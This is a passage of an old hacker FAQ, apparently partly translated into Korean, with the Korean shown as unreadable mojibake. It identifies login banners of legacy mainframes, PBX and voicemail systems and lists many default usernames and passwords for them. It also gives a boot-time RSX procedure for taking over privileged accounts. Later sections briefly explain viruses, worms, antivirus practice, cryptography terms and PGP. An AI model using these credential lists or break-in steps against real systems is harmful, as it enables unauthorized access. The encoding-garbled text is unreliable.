CITICORP (CITY NAME). KEY GHELP FOR HELP.

XXX.XXX

PLEASE SELECT SERVICE REQUIRED.-3->

Lantronix Terminal Server

~~~~~~~~~~~~~~~~~~~~~~~~~

Lantronix ETS16 Version V3.1/1(940623)

Type HELP at the 'Local_15> ' prompt for assistance.

Login password>

Meridian Mail (Northern Telecom Phone/Voice Mail System)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

MMM MMMERIDIAN

MMMMM MMMMM

MMMMMM MMMMMM

MMM MMMMM MMM MMMMM MMMMM

MMM MMM MMM MMMMMM MMMMMM

MMM MMM MMM MMM MMM MMM

MMM MMM MMM MMMMM MMM

MMM MMM MMM MMM MMM

MMM MMM MMM MMM

MMM MMM MMM MMM

MMM MMM MMM MMM

MMM MMM MMM MMM

MMM MMM MMM MMM

Copyright (c) Northern Telecom, 1991

Novell ONLAN

~~~~~~~~~~~~

<Control-A aka smiley face>N

[½Ã½ºÅÛ¿¡ Á¢±ÙÇϱâ À§Çؼ­´Â ONLAN/PCÀÇ º¹»çº»À» °¡Áö°í ÀÖ´Â °ÍÀÌ Á¦ÀÏ ÁÁ´Ù.]

PC-Anywhere

~~~~~~~~~~~

<Control-A aka smiley face>P

[½Ã½ºÅÛ¿¡ Á¢±ÙÇϱâ À§Çؼ­´Â PCAnywhere RemoteÀÇ º¹»çº»À» °¡Áö°í ÀÖ´Â °ÍÀÌ Á¦ÀÏ ÁÁ´Ù.]

PRIMOS

~~~~~~

PRIMENET 19.2.7F PPOA1

<any text>

ER!

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

CONNECT

Primenet V 2.3 (system)

LOGIN (you)

User id? (system)

SAPB5 (you)

Password? (system)

DROWSAP (you)

OK, (system)

ROLM CBX II

~~~~~~~~~~~

ROLM CBXII RELEASE 9004.2.34 RB295 9000D IBMHO27568

BIND DATE: 7/APR/93

COPYRIGHT 1980, 1993 ROLM COMPANY. ALL RIGHTS RESERVED.

ROLM IS A REGISTERED TRADEMARK AND CBX IS A TRADEMARK OF ROLM

COMPANY.

YOU HAVE ENTERED CPU 1

12:38:47 ON WEDNESDAY 2/15/1995

USERNAME: op

PASSWORD:

INVALID USERNAME-PASSWORD PAIR

ROLM-OSL

~~~~~~~~

MARAUDER10292 01/09/85(^G) 1 03/10/87 00:29:47

RELEASE 8003

OSL, PLEASE.

?

System75

~~~~~~~~

Login: root

INCORRECT LOGIN

Login: browse

Password:

Software Version: G3s.b16.2.2

Terminal Type (513, 4410, 4425): [513]

Tops-10

~~~~~~~

NIH Timesharing

NIH Tri-SMP 7.02-FF 16:30:04 TTY11

system 1378/1381/1453 Connected to Node Happy(40) Line # 12

Please LOGIN

.

VM/370

~~~~~~

VM/370

!

VM/ESA

~~~~~~

VM/ESA ONLINE

TBVM2 VM/ESA Rel 1.1 PUT 9200

USERID ¿Í PASSWORD¸¦ Ä¡°í ENTER¸¦ ´©¸¥´Ù.

(Æнº¿öµå´Â È­¸é¿¡ ³ªÅ¸³ªÁö ¾Ê´Â´Ù.)

USERID ===>

PASSWORD ===>

COMMAND ===>

Xylogics Annex Communications Server

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Annex Command Line Interpreter * Copyright 1991 Xylogics, Inc.

Checking authorization, Please wait... -

Annex username: TNO - Optional security check

Annex password: - Not always present

Permission granted

annex:

XXX¿¡¼­ÀÇ Ã³À½(default) Æнº¿öµå´Â ¹«¾ùÀΰ¡?

AIX

~~~

guest guest

AS/400

~~~~~~

qsecofr qsecofr /* master security officer */

qsysopr qsysopr /* system operator */

qpgmr qpgmr /* default programmer */

also

ibm password

ibm 2222

ibm service

qsecofr 1111111

qsecofr 2222222

qserv qserv

qsvr qsvr

secofr secofr

qsrv ibmce1

DECserver

~~~~~~~~~

ACCESS

SYSTEM

Dynix (The library software, not the UnixOS)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

('later'¸¦ Ä¡¸é ·Î±×ÀÎ ÇÁ·ÒÇÁÆ®¿¡¼­ ºüÁ®³ª¿Ã ¼ö ÀÖ´Ù.)

setup <no password>

library <no password>

circ <Social Security Number>

Hewlett Packard MPE-XL

~~~~~~~~~~~~~~~~~~~~~~

HELLO MANAGER.SYS

HELLO MGR.SYS

HELLO FIELD.SUPPORT HPUNSUP or SUPPORT or HP

HELLO OP.OPERATOR

MGR CAROLIAN

MGR CCC

MGR CNAS

MGR CONV

MGR COGNOS

OPERATOR COGNOS

MANAGER COGNOS

OPERATOR DISC

MGR HPDESK

MGR HPWORD

FIELD HPWORD

MGR HPOFFICE

SPOOLMAN HPOFFICE

ADVMAIL HPOFFICE

MAIL HPOFFICE

WP HPOFFICE

MANAGER HPOFFICE

MGR HPONLY

FIELD HPP187

MGR HPP187

MGR HPP189

MGR HPP196

MGR INTX3

MGR ITF3000

MANAGER ITF3000

MAIL MAIL

MGR NETBASE

MGR REGO

MGR RJE

MGR ROBELLE

MANAGER SECURITY

MGR SECURITY

FIELD SERVICE

MANAGER SYS

MGR SYS

PCUSER SYS

RSBCMON SYS

OPERATOR SYS

OPERATOR SYSTEM

FIELD SUPPORT

OPERATOR SUPPORT

MANAGER TCH

MAIL TELESUP

MANAGER TELESUP

MGR TELESUP

SYS TELESUP

MGE VESOFT

MGE VESOFT

MGR WORD

MGR XLSERVER

ÀϹÝÀûÀÎ ÀÛ¾÷Àº Pub, Sys, DataÀÌ´Ù.

ÀϹÝÀûÀÎ Æнº¿öµå´Â HPOnly, TeleSup, HP, MPE, Manager, GR, RemoteÀÌ´Ù.

Major BBS

~~~~~~~~~

Sysop Sysop

Mitel PBX

~~~~~~~~~

SYSTEM

NeXTSTEP

~~~~~~~~

root NeXT

signa signa

me <null> (Rumored to be correct, not checked)

Nomadic Computing Environment (NCE) on the Tadpole Technologies SPARCBook3

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

fax <no password>

PICK O/S

~~~~~~~~

DSA # Desquetop System Administrator

DS

DESQUETOP

PHANTOM

Prolog

~~~~~~

PBX PBX

NETWORK NETWORK

NETOP <null>

Radio Shack Screen Savers

~~~~~~~~~~~~~~~~~~~~~~~~~

RS<STORE_ID_NUMBER>

Rolm

~~~~

CBX Defaults

op op

op operator

su super

admin pwp

eng engineer

PhoneMail Defaults

sysadmin sysadmin

tech tech

poll tech

RSX

~~~

SYSTEM/SYSTEM (Username SYSTEM, Password SYSTEM)

1,1/system (Directory [1,1] Password SYSTEM)

BATCH/BATCH

SYSTEM/MANAGER

USER/USER

Micro/RSX¿¡ ´ëÇÑ µðÆúÆ® Æнº¿öµå´Â:

MICRO/RSX

¾Æ´Ï¸é ºÎÆà °úÁ¤¿¡¼­ ³¯Â¥¸¦ ¹°À» °æ¿ì <CTRL-Z>¸¦ Ä£´Ù. ±×¸®°í ´ÙÀ½À» ÀÌ¿ëÇÏ¿© °èÁ¤À» ¸¸µç´Ù.

RUN ACNT

¶Ç´Â RUN $ACNT

(10 {oct}ÀÌÇÏÀÇ ¼ö´Â Ưº°ÇÑ ±ÇÇÑÀÌ ÀÖ´Ù.)

´Ù½Ã ºÎÆÃÇÏ¿© ³¯Â¥/½Ã°£ ¹°À½À» ±â´Ù¸°´Ù. ^C¸¦ Ä£´Ù. ±×¸®°í MCR ÇÁ·ÒÇÁÆ®¿¡¼­ 'abo at."À» Ä£´Ù. . Á¡À» ¸¸µå½Ã Æ÷ÇÔÇÑ´Ù!

ÀÌ°ÍÀÌ Àß µÇ¸é , "acs lb0:/blks=1000"¸¦ Ãļ­ ´ÙÀ½ ÀÛ¾÷ÀÌ Á¤ÁöµÇÁö ¾Êµµ·Ï ¾à°£ÀÇ ½º¿û(swap) °ø°£À» È®º¸ÇÑ´Ù. " run $acnt"¶ó°í Ä¡°í 7¹øÀ̳ª ±× ÀÌÇÏÀÇ ±×·ìÀÇ ¾î¶² °èÁ¤ÀÇ Æнº¿öµå¶óµµ ¹Ù²Û´Ù.

^C´Â Á¦´ë·Î ÀÛµ¿ÇÏÁö ¾ÊÀ» ¼ö ÀÖ´Ù. ^Z¿Í ESC¸¦ ½ÃµµÇØ º»´Ù. 3°¡Áö¸¦ ÀûÀýÇÑ ¶§³ª ±×·¸Áö ¾ÊÀº ¶§ ¸ðµÎ ½ÃµµÇØ º¼ ¼öµµ ÀÖ´Ù. ¾Æ¹«°Íµµ Á¦´ë·Î µÇÁö ¾ÊÀ» °æ¿ì, Á¤Áö ½ºÀ§Ä¡·Î ÀûÀýÇÏÁö ¾ÊÀº ³¯Â¥-½Ã°£ µÚ¿¡ ½Ã½ºÅÛÀ» Á¤Ä¡ÇÑ´Ù. »ç¿ëÀÚ ¸ðµå PSW 1[4-7]xxxx. ¸¦ ã°í R6¿¡ 177777¸¦ ³Ö´Â´Ù. ±âµµ¸¦ µå¸°´ÙÀ½ µð½ºÅ©¸¦ ¾²±â ¹æÁöÇÏ°í ´Ù½Ã ½Ã½ºÅÛÀ» ½Ãµ¿ÇÑ´Ù. ÀÌ·¸°Ô ÇÏ¸é ¾Æ¸¶µµ °£Á¢ÀûÀ¸·Î ½Ã½ºÅÛÀ» ÅͶ߸± °ÍÀÌ´Ù. ¾Æ¸¶µµ ½Ã½ºÅÛÀÌ ¿Ïº®ÇÏ°Ô º¸È£µÇÁö ¾Ê¾ÒÀ» °ÍÀÌ´Ù.

SGI Irix

~~~~~~~~

4DGifts <no password>

guest <no password>

demos <no password>

lp <no password>

nuucp <no password>

tour <no password>

tutor <no password>

System 75

~~~~~~~~~

bcim bcimpw

bciim bciimpw

bcms bcmspw, bcms

bcnas bcnspw

blue bluepw

browse looker, browsepw

craft crftpw, craftpw, crack

cust custpw

enquiry enquirypw

field support

inads indspw, inadspw, inads

init initpw

kraft kraftpw

locate locatepw

maint maintpw, rwmaint

nms nmspw

rcust rcustpw

support supportpw

tech field

Taco Bell

~~~~~~~~~

rgm rollout

tacobell <null>

Verifone Junior 2.05

~~~~~~~~~~~~~~~~~~~~

Default password: 166816

VMS

~~~

field service

systest utep

XON / XON Junior

~~~~~~~~~~~~~~~~

Default password: 166831

Æ®·ÎÀ̸ñ¸¶/¿ú/¹ÙÀÌ·¯½º/³í¸® ÆøźÀ̶õ ¹«¾ùÀΰ¡?

ÀÌ FAQ´Â Theora°¡ ÀÛ¼ºÇÑ °ÍÀÌ´Ù.

Æ®·ÎÀÌ ¸ñ¸¶ :

Æ®·ÎÀÌ ¸ñ¸¶¸¦ ±â¾ïÇϴ°¡? µµ½Ã¿¡ ¾Çµ¶ÇÑ ÁþÀ» Çϱâ À§ÇØ ³ª»Û ³ðµéÀÌ ±× ¾È¿¡ ¼û¾î ÀÖ´ø °ÍÀÌ´Ù. Æ®·ÎÀÌ ÄÄÇ»ÅÍ ÇÁ·Î±×·¥Àº ÀÌ¿Í ºñ½ÁÇÏ´Ù. Çã°¡µÈ ÇÁ·Î±×·¥ ¼Ó¿¡¼­ Çã°¡µÇÁö ¾ÊÀº ±â´ÉÀ» ¼öÇàÇÏ´Â °ÍÀÌ ¹Ù·Î ÀÌ ÇÁ·Î±×·¥ÀÌ´Ù. ÀÌ°ÍÀº ÀÚ½ÅÀÌ ÇؾßÇÒ °ÍÀÌ ¾Æ´Ñ ´Ù¸¥ °Í, ´ë°³´Â (²À ±×·± °ÍÀº ¾Æ´ÏÁö¸¸) ¾ÇÀÇ¿¡ Âù ¾î¶² °ÍÀ» ÇѰųª, ÇÁ·Î±×·¡¸Ó°¡ ÀǵµÇß´ø °ÍÀÌ ¾Æ´Ñ °ÍÀ» ÇÏ´Â ÇÁ·Î±×·¥ÀÌ´Ù. ÀǵµµÈ °ÍÀÌ ¾Æ´Ï¶ó¸é, ¹ö±×¶ó°í ºÒ·¯¾ß ÇÏ°í, ¶§¶§·Î Ư¡À̶ó°í ºÎ¸¦¼öµµ ÀÖ´Ù. ¸î¸î ¹ÙÀÌ·¯½º °Ë»ö ÇÁ·Î±×·¥(scanner)¿¡¼­ Æ®¸®ÀÌ ¸ñ¸¶ ÇÁ·Î±×·¥À» °ËÃâÇÑ´Ù. ¾î¶² ¹ÙÀÌ·¯½º °Ë»ö ÇÁ·Î±×·¥Àº Æ®·ÎÀÌ ¸ñ¸¶¸¦ °Ë»öÇÒ ¼ö ¾ø´Ù. ¾î¶² ¹ÙÀÌ·¯½º ½ºÄ³³Êµµ ¸ðµç Æ®·ÎÀÌ ¸ñ¸¶ ÇÁ·Î±×·¥À» ´Ù °ËÃâÇÒ ¼ö ¾ø´Ù.

¹ÙÀÌ·¯½º:

¹ÙÀÌ·¯½º´Â ÀÚ½ÅÀ» º¹ÀçÇÏ´Â µ¶¸³ÀûÀÎ ÇÁ·Î±×·¥ÀÌ´Ù. ´Ù¸¥ ÇÁ·Î±×·¥¿¡ ±â»ýÇÒ ¼ö ÀÖ°í, ÀÚ½ÅÀÇ º¹»ç¸¦ ¸¸µé ¼ö ÀÖ´Ù.(¸¶Ä¡ ±â»ý ¹ÙÀÌ·¯½º¿¡¼­¿Í °°ÀÌ) ¹ÙÀÌ·¯½º´Â µ¥ÀÌÅ͸¦ ¸ÁÄ¡°Å³ª ¿À¿°½Ãų ¼ö ÀÖ´Ù. ±×¸®°í µ¥ÀÌÅ͸¦ º¯°æÇϰųª, ¸Þ¸ð¸®³ª µð½ºÅ© °ø°£À» ÀÌ¿ëÇÔÀ¸·Î¼­ ½Ã½ºÅÛÀÇ ¼º´ÉÀ» ÀúÇϽÃų ¼ö ÀÖ´Ù. ¾î¶² ¹ÙÀÌ·¯½º °Ë»ö ÇÁ·Î±×·¥Àº ¹ÙÀÌ·¯½º¸¦ °ËÃâÇÑ ´Ù. ¾î¶² ¹ÙÀÌ·¯½º °ËÃâ ÇÁ·Î±×·¥µµ ¸ðµç ¹ÙÀÌ·¯½º¸¦ °ËÃâÇÒ ¼ö´Â ¾ø´Ù. ¾î¶² ¹ÙÀÌ·¯½º °Ë»ö ÇÁ·Î±×·¥µµ ¸ðµç ȤÀº ÀϺÎ, ¾Ë·ÁÁö°Å³ª ȤÀº ¾Ë·ÁÁöÁö ¾Ê°Å³ª, ÇöÀç ¶Ç´Â ¹Ì·¡ÀÇ ¹ÙÀÌ·¯½º·ÎºÎÅÍ º¸È£ÇÒ ¼ö ¾ø´Ù.

¿ú:

Robert Morris Jr.¿¡ ÀÇÇؼ­ À¯¸íÇÏ°Ô µÇ¾ú´Ù. ¿úÀº ÀÚ½ÅÀ» Áõ½ÄÇÑ´Ù. ½Ã½ºÅÛ¿¡¼­ ½Ã½ºÅÛÀ¸·Î Áõ½ÄÇÏ°í ¶§¶§·Î ½Ã½ºÅÛÀÇ ¼º´ÉÀ» ¶³¾î¶ß¸°´Ù. ÀÚü·Î ¿Ïº®ÇÏ°í ³×Æ®¿öÅ©¸¦ ÀÌ¿ëÇÏ¿© ÆÛÁ®³ª°£´Ù. ÀÌ°ÍÀº ¹ÙÀÌ·¯½º°¡ µð½ºÅ©¸¦ ÀÌ¿ëÇÏ´Â °Í°ú °°´Ù. ¾î¶² ÀÌ´Â ¹ÙÀÌ·¯½º³ª ¿ú¿¡ ´ëÇÑ ´ëÃ¥Àº ÆÄÀÏÀ̳ª ³×Æ®¿öÅ©¸¦ °¡ÁöÁö ¾Ê´Â °ÍÀ̶ó°í ÇÑ´Ù. ¾Æ¸¶ ¸ÂÀ» °ÍÀÌ´Ù. ¾Æ¸¶ ÄÄÇ»Å͵µ ÀÌ ¸ñ·Ï¿¡ Æ÷ÇÔÇØ¾ß ÇÒ °Í °°´Ù.

³í¸® Æøź:

ƯÁ¤Á¶°ÇÀÌ ¸¸Á·µÇ¸é ƯÁ¤ÇüÅÂÀÇ '°ø°Ý'À» ÇÏ´Â ÄÚµåÀÌ´Ù. ¿¹¸¦ µé¾î, 12¿ù 5ÀÏ¿¡ ¸ðµç ÆÄÀÏÀ» Áö¿ö¹ö¸®´Â ³í¸®ÆøźÀÌ ÀÖÀ» ¼ö ÀÖ´Ù. ¹ÙÀÌ·¯½º¿Í ´Þ¸® ³í¸®ÆøźÀº ÀÚ½ÅÀ» º¹Á¦ÇÒ ¼ö ¾ø´Ù.

¹ÙÀÌ·¯½º °°Àº °ÍÀ¸·ÎºÎÅÍ ³ª ÀÚ½ÅÀ» ¾î¶»°Ô º¸È£ÇÒ °ÍÀΰ¡?
ÀÌ FAQ´Â Theora¿¡ ÀÇÇؼ­ ÀÛ¼ºµÇ¾ú´Ù.

°¡Àå ÈçÇÑ ¹ÙÀÌ·¯½º´Â ºÎÆ® ¼½Å͸¦ °¨¿°ÇÏ´Â °ÍÀÌ´Ù. ÀÌ·¯ÇÑ ÇüÅÂÀÇ ¹ÙÀÌ·¯½º·ÎºÎÅÍ ÀÚ½ÅÀ» º¸È£Çϱâ À§Çؼ­´Â ±â·ÏÀ» ÇÒ ÇÊ¿ä°¡ ¾ø´Â µð½ºÅ©´Â ÀüºÎ ±â·Ï¹æÁöÇÏ´Â °ÍÀÌ´Ù. È®½ÇÈ÷ ±â·Ï¹æÁöµÈ ºÎÆà µð½ºÄÏÀ» º¸°üÇÏ°í ÀÖ¾î¾ß ÇÑ´Ù. ¹ÙÀÌ·¯½º°¡ ³ªÅ¸³ª¸é ÀÏÀ» ¸Å¿ì ½±°Ô ÇÒ °ÍÀÌ´Ù.

ÁÁÀº ¹ÙÀÌ·¯½º °Ë»ö ÇÁ·Î±×·¥À¸·Î »õ·Î¿î ÆÄÀϵéÀ» Á¶»çÇØ¾ß ÇÑ´Ù. ÁÁÀº °Íµé·Î F-Prot, Dr.

Solomon's Anti-Virus Toolkit, ±×¸®°í Thunderbyte Anti-Virus°¡ ÀÖ´Ù. AVP ¶ÇÇÑ ÁÁÀº ÇÁ·Î±×·¥ÀÌ´Ù. ÇÑ °¡Áö ÀÌ»óÀÇ °Ë»ö ÇÁ·Î±×·¥À» °¡Áö°í ÀÖ´Â °ÍÀÌ ÁÁ´Ù. À̹ø ´Þ¿¡ ÇÑ µÎ »ç¶÷ÀÌ ºü¶ß¸° ¹ÙÀÌ·¯½º°¡ ÀÖÀ» ¼ö ÀÖÀ¸´Ï±î.

ÇÏ·ç 8°³ÀÇ ¹ÙÀÌ·¯½º°¡ Æò±ÕÀûÀ¸·Î ¸¸µé¾î Áø´Ù. ¾î¶² ¹ÙÀÌ·¯½º °Ë»ö ÇÁ·Î±×·¥µµ ±× Ãß¼¼¸¦ ÁÀ¾Æ°¥ ¼ö ¾ø´Ù. ±×·¯³ª, À§ÀÇ 4°³´Â Çö Ãß¼¼¸¦ ÁÀ¾Æ°¡°í ÀÖ´Â ÁÁÀº °ÍµéÀÌ´Ù. ÁÁÀº ¹ÙÀÌ·¯½º °Ë»ö ÇÁ·Î±Û¸ÅÀ̶ó¸é ´ëºÎºÐÀÇ ÁÖ¿ä ¹ÙÀÌ·¯½º¸¦ °ËÃâÇÒ ¼ö ÀÖ´Ù. ¾î¶² ¹ÙÀÌ·¯½º °Ë»ö ÇÁ·Î±×·¥µµ ¸ðµç ¹ÙÀÌ·¯½º¸¦ °ËÃâÇÒ ¼ö ÀÖ´Â °ÍÀÌ ¾Æ´Ï´Ù.

ÇöÀç 5600¿©Á¾ÀÇ ¹ÙÀÌ·¯½º°¡ ÀÖ´Ù. Ç×»ó »õ·Î¿î °ÍÀÌ ÀÛ¼ºµÈ´Ù. ¹ÙÀÌ·¯½º °ËÃâÀ» À§Çؼ­ ¹ÙÀÌ·¯½º °Ë»ö ÇÁ·Î±×·¥À» »ç¿ëÇÏ°í ÀÖ´Ù¸é ÀÚÁÖ °»½ÅÀ» ÇØ¾ß ÇÑ´Ù. ÀÌ»óÇൿ ¹æÁö ÇÁ·Î±×·¥¿¡ ÀÇÁ¸ÇÏ°í ÀÖ´Ù¸é ÀÌ·¯ÇÑ Á¾·ùÀÇ ÇÁ·Î±×·¥Àº ½±°Ô ÇÇÇØ°¥ ¼ö ÀÖ´Â ±â¹ýÀÌ ÀÖÀ½À» ¾Ë¾Æ¾ß ÇÑ´Ù.

°Ë»ö ÇÁ·Î±×·¥°ú ¹«°á¼º Á¶»ç ÇÁ·Î±×·¥À» ÀÌ¿ëÇÏ·Á ÇÑ´Ù¸é ÀÌ°ÍÀÌ º¸È£¿¡ ¾î´ÀÁ¤µµ µµ¿òÀº µÇÁö¸¸ ¿Ïº®ÇÑ °ÍÀÌ ¾Æ´ÔÀ» ¾Ë¾Æ¾ß ÇÑ´Ù .

»óÁÖ ½ºÄ³³Ê(resident scanner)¿Í °°Àº ¹ÙÀÌ·¯½º °Ë»ö ÇÁ·Î±×·¥À» ¿øÇÒ ¼ö ÀÖ´Ù. ÀÌ·¯ÇÑ ÇÁ·Î±×·¥Àº ·¥¿¡ »óÁÖÇÏ¿© ÇÁ·Î±×·¥ ¼öÇàÀ» °¨½ÃÇÑ´Ù.(±×¸®°í ¶§¶§·Î ÇÁ·Î±×·¥À» Æ÷ÇÔÇÏ´Â ÆÄÀÏÀ» °¨½ÃÇϱ⵵ ÇÑ´Ù.) ÇÁ·Î±×·¥À» ¼öÇàÇÏ·Á ÇÏ¸é »óÁÖ ½ºÄ³³Ê´Â Á¦¾î±ÇÀ» ³Ñ°Ü¹Þ°í ÇÁ·Î±×·¥À» ¸ÕÀú °Ë»çÇÑ´Ù. ¹ÙÀÌ·¯½º°¡ ¾øÀ¸¸é, ÇÁ·Î±×·¥Àº ¼öÇàÇÒ ¼ö ÀÖµµ·Ï Çã°¡µÈ´Ù.

¹ÙÀÌ·¯½º °Ë»ö ÇÁ·Î±×·¥Àº ´ëºÎºÐÀÇ Æ®¸®ÀÌ ¸ñ¸¶ ÇÁ·Î±×·¥, ¿ú, ³í¸®ÆøźÀ¸·Î º¸È£ÇØ ÁÖÁö ¾Ê´Â´Ù. ÀÌ·ÐÀûÀ¸·Î ³í¸®Æøź ±×¸®°í/µµ´Â ¿úÀ¸·ÎºÎÅÍ º¸È£ÇÒ ¼ö ÀÖÁö¸¸, ´ë°³´Â ±×·¸°Ô ÇÏÁö ¾Ê´Â´Ù.

°¡Àå ÁÁÀº ¹æ¹ýÀº, ±×¸®°í ½ÇÁ¦·Î À¯ÀÏÇÑ ¹æ¹ýÀº, ½Ã½ºÅÛ¿¡ ¹«¾ùÀÌ ÀÖ´ÂÁö ¾Ë°í ±×°ÍµéÀÌ Àڽſ¡ ÀÇÇØ Çã°¡µÈ °ÍµéÀÎÁö¸¦ ¾Æ´Â °ÍÀÌ´Ù. Áß¿äÇÑ ÆÄÀÏÀº ÀÚÁÖ ¹é¾÷À» ÇØ¾ß ÇÑ´Ù. DOS ½Ã½ºÅÛ ÆÄÀÏÀº ±â·Ï¹æÁöÇØ¾ß ÇÑ´Ù. ±â·ÏÇÒ ÇÊ¿ä°¡ ¾ø´Â ¸ðµç µð½ºÅ©´Â ±â·Ï¹æÁö¸¦ ÇÑ´Ù. ¹ÙÀÌ·¯½º°¡ »ý±â¸é ³î¶óÁö ¸¶¶ó. Àß ¸ð¸£¸é ȸ»ç ³»ÀÇ Áö¿øºÎ¼­¸¦ ºÒ·¯¼­ anti-virus ÇÁ·Î±×·¥À» ÀÌ¿ëÇÏ°Ô ÇÑ´Ù. ´ë¹ÙÀÌ·¯½º(anti-virus) ÇÁ·Î±×·¥À» °ø±ÞÇÑ È¸»çÀÇ Áö¿øÀÌ ºÎ½ÇÇÑ °æ¿ì´Â ȸ»ç¸¦ ¹Ù²Ù¶ó.

¹ÙÀÌ·¯½º°¡ ÆÛÁöÁö ¾Êµµ·Ï ÇÏ´Â °¡Àå È®½ÇÇÑ ¹æ¹ýÀº ¾È Æ۶߸®´Â °ÍÀÌ´Ù. ¾î¶² À̵éÀº °íÀÇÀûÀ¸À¸·Î Æ۶߸°´Ù. ±×·¸°Ô ÇÏÁö ¾Ê±â¸¦ ¹Ù¶õ´Ù. ¹ÙÀÌ·¯½º´Â ±×·¸°Ô½Å³ª´Â °ÍÀÌ ¾Æ´Ï´Ù.

¹ÙÀÌ·¯½º¿¡ ´ëÇÑ Á¤º¸´Â ¾îµð¼­ ¾òÀ» ¼ö ÀÖ³ª?

ÀÌ FAQ´Â Theora¿¡ ÀÇÇؼ­ ÀÛ¼ºµÇ¾ú´Ù.

¾î¼Àºí¸® ¾ð¾î ÇÁ·Î±×·¥ Ã¥Àº (Áö·çÇÑ) º¹Á¦ÀÇ ÀϸéÀ» º¸¿©ÁÖ°í, Àå±â°£ ¼³¸íÇÑ´Ù. ¹ÙÀÌ·¯½º¿¡ ´ëÇÏ¿© °¡Àå Èï¹Ì·Ó°í/½Å³ª´Â °ÍÀº ³íÀïÀÌ´Ù. ÀÚÀ¯ ÀÇ»çÇ¥½Ã(free speech), Àû¹ý¼º, ±×¸®°í ¹ÙÀÌ·¯½ºÀÇ Áõ»óµéÀº "find first"¿Í "find next" ÇÔ¼öÀÇ È£ÃâÀ» ÃßÀûÇÏ´Â °Íº¸´Ù Àç¹Õ´Ù. ¹ÙÀÌ·¯½º¸¦ ¹ß°ßÇÏ¸é ¹ÙÀÌ·¯½º¿¡ ´ëÇÑ ±â¼úÀûÀÎ Á¤º¸³ª µµ¿òÀ» virus-l FAQ¿¡¼­ ¾òÀ» ¼ö ÀÖ´Ù. ÀÌ°ÍÀº comp.virus¿¡ ÈçÈ÷ ¿Ã¶ó¿Í ÀÖ´Ù. ¿©±â¼­´Â ´Ù¾çÇÑ ³íÀïµµ ¿³º¼¼ö ÀÖ´Ù. alt.virus¿Í °°Àº ´º½º±×·ìµµ ÀÖ´Ù. ±×·¯³ª, ±â¼úÀûÀÎ Àü¹®¼ºÀº ³ôÁö°¡ ¾Ê´Ù. ±×¸®°í ¹ÙÀÌ·¯½º¸¦ ¾ø¾Ö·Á´Â »ç¶÷µé¿¡°Ô Å©°Ô µµ¿òÀÌ µÇÁö´Â ¾Ê´Â´Ù.

¹ÙÀÌ·¯½ºÀÇ Àü¹®°¡´Â ¸¹ÀÌ ÀÖ´Ù. ÀÚ½ÅÀ» Àü¹®°¡¶ó°í »ý°¢Çصµ µÈ´Ù. ¹°·Ð ³ó´ãÀÌÁö¸¸. ¹ÙÀÌ·¯½ºÀ» ÀÌÇØÇϱâ À§Çؼ­´Â ÇÁ·Î±×·¡¹Ö, ¿î¿µÃ¼Á¦¿Í ±× »óÈ£µ¿ÀÛÀ» ¾Ë¾Æ¾ß ÇÑ´Ù. ¹ÙÀÌ·¯½ºÁ·(Cult of Virus)¿¡ ´ëÇؼ­ ¸ðµÎ ÀÌÇØÇϱâ À§Çؼ­ ¸¹Àº ½Äº°°úÁ¤ÀÌ ÇÊ¿äÇÏ´Ù. ¹ÙÀÌ·¯½º¿Í ¹ÙÀÌ·¯½ºÁ·¿¡ ´ëÇÑ ÁÁÀº ³í¹®ÀÌ ¸¹ÀÌ ÀÖ´Ù. Virus-lÀÇ FAQ¿¡ ¼ö·ÏµÈ »ç¶÷µé·ÎºÎÅÍ ±×µé¿¡ ´ëÇÑ Á¤º¸¸¦ ¾òÀ» ¼ö ÀÖ´Ù. FTP »çÀÌÆ® ftp.informatik.uni-hamburg.de¿¡´Â ÁÁÀº ÇÁ·Î±×·¥°ú ¹®¼­°¡ ÀÖ´Ù.

¾ÏÈ£xxx¶õ ¹«¾ùÀΰ¡?

ÀÌ FAQ´Â Computer Security Basics¶ó´Â Ã¥¿¡¼­ ÀοëÇÑ °ÍÀÌ´Ù.

¸Þ½ÃÁö´Â Æò¹®(plaintext, clear text)À̶ó°í ºÒ¸°´Ù. ¸Þ½ÃÁöÀÇ ³»¿ëÀ» ¼û±â±âÀ§ÇÑ °úÁ¤À» ¾Ïȣȭ(encryption)¶ó°í ÇÑ´Ù. ¾ÏȣȭµÈ ¸Þ½ÃÁö´Â ¾ÏÈ£¹®(ciphertext)À̶ó°í ºÎ¸¥´Ù. ¾ÏÈ£¹®À» Æò¹®À¸·Î ¸¸µå´Â °ÍÀ» º¹È£È­(decryption)À̶ó°í ÇÑ´Ù.

¸Þ½ÃÁö¸¦ ¾ÈÀüÇϵµ·Ï ÇÏ´Â ±â¼úÀ̳ª °úÇÐÀ» ¾ÏÈ£Á¦ÀÛ(cryptography)¶ó°í ÇÑ´Ù. ±×¸®°í ¾ÏÈ£ÇÐÀº ¾ÏÈ£Á¦ÀÛÀÚ(cryptographer)µé¿¡ ÀÇÇؼ­ ÇàÇØÁø´Ù. ¾ÏÈ£ºÐ¼®°¡(cryptanalysist)´Â ¾ÏÈ£ºÐ¼®(cryptoanalysis)¸¦ ÇàÇÏ´Â »ç¶÷µé·Î, ¾ÏÈ£Çص¶Àº ¾ÏÈ£¹®À» ±ú´Â °ÍÀÌ´Ù. ´Ù½Ã ¸»Çؼ­ ¼û°ÜÁø °ÍÀ» º»´Ù´Â °ÍÀÌ´Ù. ¾ÏÈ£¹ý°ú ¾ÏÈ£ºÐ¼®À» ÇÕÇÏ¿©, ¼öÇп¡¼­´Â ¾ÏÈ£ÇÐ(cryptology)À̶ó°í ÇÑ´Ù. ±×¸®°í ÀÌ°ÍÀ» ÇàÇÏ´Â »ç¶÷µéÀ» ¾ÏÈ£ÇÐÀÚ(cryptologist)¶ó°í ÇÑ´Ù.

PGP¶õ ¹«¾ùÀΰ¡?

ÀÌ FAQ´Â PGP(tm) User's Guide Volume I: Essential Topics by Philip ZimmermannÀÇ Àο빮ÀÌ´Ù.

PGP(tm)Àº °ø°³Å° ¾ÏÈ£¸¦ ÀÌ¿ëÇÏ¿© E-mail¿Í µ¥ÀÌÅÍ ÆÄÀÏÀ» º¸È£ÇÑ´Ù.

